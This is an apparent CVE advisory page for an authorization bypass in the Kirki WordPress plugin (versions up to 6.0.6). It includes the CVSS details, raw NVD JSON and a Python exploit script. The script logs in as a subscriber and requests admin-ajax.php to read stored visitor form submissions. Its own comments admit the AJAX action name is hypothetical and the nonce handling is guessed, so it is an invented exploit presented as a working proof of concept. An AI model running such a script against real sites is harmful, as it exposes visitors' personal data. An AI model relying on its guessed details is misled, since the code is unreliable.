Security Vulnerability Report
δΈ­ζ–‡
CVE-2026-8096 CVSS 6.5 MEDIUM

CVE-2026-8096

Published: 2026-05-19 19:16:52
Last Modified: 2026-05-19 21:00:47

Description

The Kirki – Freeform Page Builder, Website Builder & Customizer plugin for WordPress is vulnerable to authorization bypass in all versions up to, and including, 6.0.6. This is due to the plugin not properly verifying that a user is authorized to perform an action. This makes it possible for authenticated attackers, with subscriber-level access and above, to view all Kirki frontend forms and read stored visitor form submission data, including contact details, messages, and any other visitor-provided information submitted through site forms.

CVSS Details

CVSS Score
6.5
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N

Configurations (Affected Products)

No configuration data available.

Kirki <= 6.0.6

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests # Exploit Title: Kirki WordPress Plugin < 6.0.7 - Authenticated (Subscriber+) Sensitive Data Disclosure # Date: 2026-05-19 # Exploit Author: Analyst # Vendor Homepage: https://kirki.org/ # Software Link: https://wordpress.org/plugins/kirki/ # Version: <= 6.0.6 # CVE: CVE-2026-8096 def exploit(target_url, username, password): session = requests.Session() # Step 1: Login as a low-privileged user (e.g., Subscriber) login_url = f"{target_url}/wp-login.php" login_data = { 'log': username, 'pwd': password, 'wp-submit': 'Log In', 'redirect_to': f"{target_url}/wp-admin/", 'testcookie': '1' } session.post(login_url, data=login_data) # Step 2: Send AJAX request to exploit the authorization bypass # Note: The specific 'action' parameter needs to be verified against the plugin source code # This is a representative PoC based on the vulnerability description. ajax_url = f"{target_url}/wp-admin/admin-ajax.php" payload = { 'action': 'kirki_list_forms', # Hypothetical action based on functionality 'security': '' # Might be required depending on nonce implementation, often bypassed in these bugs } response = session.post(ajax_url, data=payload) if response.status_code == 200: print("[+] Exploit successful! Data retrieved:") print(response.text) else: print("[-] Exploit failed.") if __name__ == "__main__": # Usage: python poc.py http://target.com subscriber password import sys if len(sys.argv) == 4: exploit(sys.argv[1], sys.argv[2], sys.argv[3]) else: print("Usage: python poc.py <target_url> <username> <password>")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-8096", "sourceIdentifier": "[email protected]", "published": "2026-05-19T19:16:51.743", "lastModified": "2026-05-19T21:00:47.093", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Kirki – Freeform Page Builder, Website Builder & Customizer plugin for WordPress is vulnerable to authorization bypass in all versions up to, and including, 6.0.6. This is due to the plugin not properly verifying that a user is authorized to perform an action. This makes it possible for authenticated attackers, with subscriber-level access and above, to view all Kirki frontend forms and read stored visitor form submission data, including contact details, messages, and any other visitor-provided information submitted through site forms."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-862"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/kirki/tags/6.0.4/includes/Ajax.php#L675", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/changeset/3535640/kirki", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/1a4414b1-6a49-42f8-9927-93763d1502ce?source=cve", "source": "[email protected]"}]}}